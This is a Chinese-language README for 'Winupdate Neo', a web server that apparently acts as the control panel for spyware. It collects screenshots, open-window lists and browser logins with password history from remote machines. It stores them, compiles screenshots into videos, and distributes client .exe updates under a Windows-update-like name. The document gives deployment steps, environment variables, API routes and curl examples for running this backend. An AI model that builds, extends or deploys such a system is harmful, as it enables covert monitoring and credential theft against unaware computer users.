# Winupdate Neo 一个基于 Next.js + Prisma + MinIO 的“主机截图与版本分发平台”。用于接收客户端上报的屏幕截图与窗口信息,保存到对象存储;配套 Web UI 浏览、检索与收藏记录,并提供将一段时间内的截图压制为视频的能力。同时支持客户端版本文件的上传与分发,以及主机浏览器凭据(含历史密码)入库与查询。 ## 功能一览 - 主机与记录 - 接收主机上报的多张截图与窗口信息,自动建档并存储 - 按主机、时间范围检索记录;星标记录管理与分页 - 小时维度“活跃度”时间分布统计 - 媒体处理与下载 - 截图以 AV1(.avif)压缩后存入 MinIO - 将一段时间内的截图转码为 MP4(SVT-AV1 编码)供下载 - 文件直链下载(版本文件/截图等) - 凭据采集 - 上报主机浏览器凭据(含历史密码版本),去重合并保存 - 版本分发 - 上传客户端新版本(.exe),自动生成校验和与下载地址,并标记最新 - 查询最新版本信息与下载链接 - 计划任务与通知 - node-cron 定时任务管理(示例:整点任务、每日清理)与前端管理页 /tasks - 可选 QQ 机器人 WebHook 推送“主机上线/离线”等通知 - 安全与访问控制 - 页面侧(非 API)支持 Basic Auth;API 默认允许跨域(withCors) ## 技术栈 - Next.js 15 + React 19 + TypeScript - Prisma 6(PostgreSQL) - MinIO(S3 兼容对象存储) - node-cron 定时任务 - Tailwind CSS v4 - 运行与进程管理:Bun、PM2 - 媒体处理:FFmpeg(libsvtav1) ## 目录结构(节选) ``` app/ hosts/ route.ts # 主机列表 API(GET) [hostname]/ page.tsx # 主机详情页(UI) credentials/route.ts # 凭据:GET/POST screenshots/route.ts # 截图:GET(查询)/POST(上传) starred/route.ts # 星标记录:GET(分页)/POST(批量标记) time-distribution/route.ts# 小时分布统计 downloads/[fileId]/route.ts # 文件下载(版本、nssm) screenshots/[fileId]/route.ts # 截图文件回源 api/ tasks/route.ts # 计划任务状态/控制 generate/video/route.ts # 按时间段合成视频(MP4) version/route.ts # 获取最新版本(API 变体) version/route.ts # 获取最新版本(App 路由变体) lib/ prisma.ts # PrismaClient 单例 config.ts # 端口与 Basic Auth 配置 middleware.ts # withAuth / withCors 辅助 fileStorage.ts # MinIO 存储封装(put/get/delete/stat) minioClient.ts # MinIO 客户端与初始化 encodeVideo.ts # 图片压制为 AV1 视频 scheduler.ts / init-scheduler.ts # 定时任务注册 push/qq.ts # QQ Bot 推送 prisma/ schema.prisma # 数据模型 pm2.config.js # PM2 生产运行配置 middleware.ts # Next 中间件:页面 Basic Auth ``` ## 前置依赖 - Node.js 18+(推荐 20+) - Bun(推荐,仓库包含 bun.lock) - PostgreSQL 数据库 - MinIO(或任意 S3 兼容对象存储) - FFmpeg(需包含 libsvtav1 编码器) ## 环境变量 在项目根目录创建 .env(生产环境同样需要): ``` # Server PORT=3000 NODE_ENV=development # Basic Auth(仅页面侧使用,API 默认不校验) AUTH_USERNAME=admin AUTH_PASSWORD=password # Database(PostgreSQL) DATABASE_URL="postgresql://user:pass@localhost:5432/winupdate_neo?schema=public" # MinIO / S3 MINIO_ENDPOINT=127.0.0.1 MINIO_PORT=9000 MINIO_USE_SSL=false MINIO_ACCESS_KEY=your_minio_access_key MINIO_SECRET_KEY=your_minio_secret_key MINIO_BUCKET_NAME=winupdate # 可选:QQ Bot 推送 QQ_BOT_URL= QQ_BOT_TARGET_ID= ``` 提示:PM2 配置会读取当前目录下的 .env(pm2.config.js 内部使用 dotenv 载入),生产环境注意设置强口令与私密变量。 ## 安装与运行 - 安装依赖 ```bash bun install ``` - 生成 Prisma Client 并迁移数据库(开发) ```bash bun run db:generate bun run db:migrate ``` - 开发运行 ```bash bun run dev ``` - 构建与启动(本地/容器) ```bash bun run build bun run start ``` - 使用 PM2 生产部署(推荐) ```bash # 首次 pm2 start pm2.config.js # 查看状态 pm2 status # 查看日志 pm2 logs winupdate-neo --lines 200 # 更新版本后重启 pm2 restart winupdate-neo ``` 日志默认输出至 logs/,可在 pm2.config.js 中调整。 ## 数据模型(Prisma) - Host:主机,按 hostname 唯一 - Record:一次上报记录,关联若干 Window 与 Screenshot,支持 isStarred - Window:窗口信息(title/path/memory),memory 为 BigInt - Screenshot:截图文件元信息,核心为 objectName(MinIO 对象名) - Credential:主机-用户-浏览器-URL-Login 唯一,含 lastSyncTime - Password:凭据的历史密码值(时间序列) - Version:版本文件元信息(fileId/objectName/checksum/isLatest) - Nssm:辅助可下载文件的元信息 ## MinIO 存储约定 - 桶名:MINIO_BUCKET_NAME(默认 winupdate) - 对象路径: - 截图:screenshots/YYYY/MM/DD/{hostname}/{uuid}.avif - 版本:versions/YYYY/MM/{uuid}.exe - 其他:files/YYYY/MM/DD/{uuid} - 常用元数据: - Content-Type、X-Original-Filename、X-File-ID、X-Upload-Time、X-File-Type、X-Hostname ## 核心 API(节选) - 主机列表 - GET /hosts - 截图上传/查询(按主机) - POST /hosts/{hostname}/screenshots(multipart/form-data) - 字段:windows_info(JSON 字符串),screenshot_0..n(文件) - GET /hosts/{hostname}/screenshots?startTime=...&endTime=... - 支持 Unix 秒或 ISO 时间,返回 records + windows + screenshots(windows.memory 已转 string) - 星标记录(按主机) - GET /hosts/{hostname}/starred?page=1&limit=50 - POST /hosts/{hostname}/starred - JSON:{ "action": "star"|"unstar", "recordIds": ["..."] } - 切换单条记录星标 - PATCH /api/records/{recordId}/star - 凭据 - POST /hosts/{hostname}/credentials(Body 为特殊数组结构,首项形如 ["User", "username"],其后为浏览器项) - GET /hosts/{hostname}/credentials(包含密码历史,降序) - 时间分布统计(小时) - GET /hosts/{hostname}/time-distribution?from=ISO&to=ISO - 返回:[{ timestamp: 秒, count }...] - 截图文件 - GET /screenshots/{fileId} - 版本文件下载 - GET /downloads/{fileId} - 最新版本查询 - GET /version(App 路由)或 GET /api/version(API 路由),均返回 { version, download_url, checksum } - 截图合成视频(MP4) - GET /api/generate/video?hostname=xxx&startTime=unixSec&endTime=unixSec 跨域:大多数 API 通过 withCors 允许跨域(Access-Control-Allow-Origin: *)。 ### 示例:上传截图 ```bash curl -X POST "http://localhost:3000/hosts/TEST-PC/screenshots" \ -F "windows_info=[{\"title\":\"Explorer\",\"path\":\"C:/Windows/explorer.exe\",\"memory\":12345}]" \ -F "screenshot_0=@/path/to/a.png" \ -F "screenshot_1=@/path/to/b.png" ``` ### 示例:批量星标 ```bash curl -X POST "http://localhost:3000/hosts/TEST-PC/starred" \ -H "Content-Type: application/json" \ -d '{"action":"star","recordIds":["rec_xxx","rec_yyy"]}' ``` ### 示例:生成时间段视频 ```bash curl -L "http://localhost:3000/api/generate/video?hostname=TEST-PC&startTime=1751104800&endTime=1751108400" -o out.mp4 ``` ## 认证与安全 - 页面 Basic Auth:根中间件对大多数页面启用基本认证(用户名/密码来自 AUTH_USERNAME/AUTH_PASSWORD)。以下路径跳过认证: - /api/、/screenshots/、/downloads/、/_next/、/favicon.ico,以及所有 POST 请求等 - API 跨域:默认允许任意来源(可按需收紧) - 建议: - 生产开启 HTTPS - 使用强口令并限制来源 IP - 为数据库与对象存储设置最小权限账号 ## 定时任务 - 由 lib/scheduler.ts 定义并在服务端初始化(lib/init-scheduler.ts) - 已内置: - 每小时第 30 分执行的示例任务 - 每日 02:00 清理任务(示例) - 管理界面:/tasks,可查看状态并启动/停止 - 通过 /api/tasks 提供状态与控制 API ## 部署要点(PM2) - 确保 .env、数据库与 MinIO 可用 - FFmpeg 必须包含 libsvtav1(否则截图转码/视频合成会失败) - 启动:pm2 start pm2.config.js(脚本使用 bun run start,端口默认 12398,可由 .env PORT 覆盖) - 日志:logs/ 目录 ## 常见问题(FAQ) - MinIO 连接失败 - 检查 MINIO_ENDPOINT/MINIO_PORT/MINIO_ACCESS_KEY/MINIO_SECRET_KEY - 确认桶 MINIO_BUCKET_NAME 已存在 - 截图上传 500/视频生失败 - 确认 FFmpeg 安装且包含 libsvtav1;服务器有足够的 CPU 与临时磁盘 - JSON 序列化 BigInt 报错 - API 层已处理 window.memory 的 BigInt->string,前端请按字符串消费 - 版本下载 404 - /downloads/{fileId} 会在 versions 与 nssm 两表中查找,请确认 fileId 与库内记录一致 ## 开发提示 - 新增模型后:更新 prisma/schema.prisma -> bun run db:generate -> bun run db:migrate - 新增静态/下载接口时:优先只暴露 fileId,后端内部解析为 objectName 再从 MinIO 取文件 - encodeVideo.ts 的 concat+SVT-AV1 管道对输入图片顺序敏感,注意生成 list.txt 的顺序 ## 许可 未设置许可(License)。如需开源或分发,请在提交前添加合适的 LICENSE 文件。 --- 如需更多部署细节,可参考仓库中的 DEPLOYMENT.md。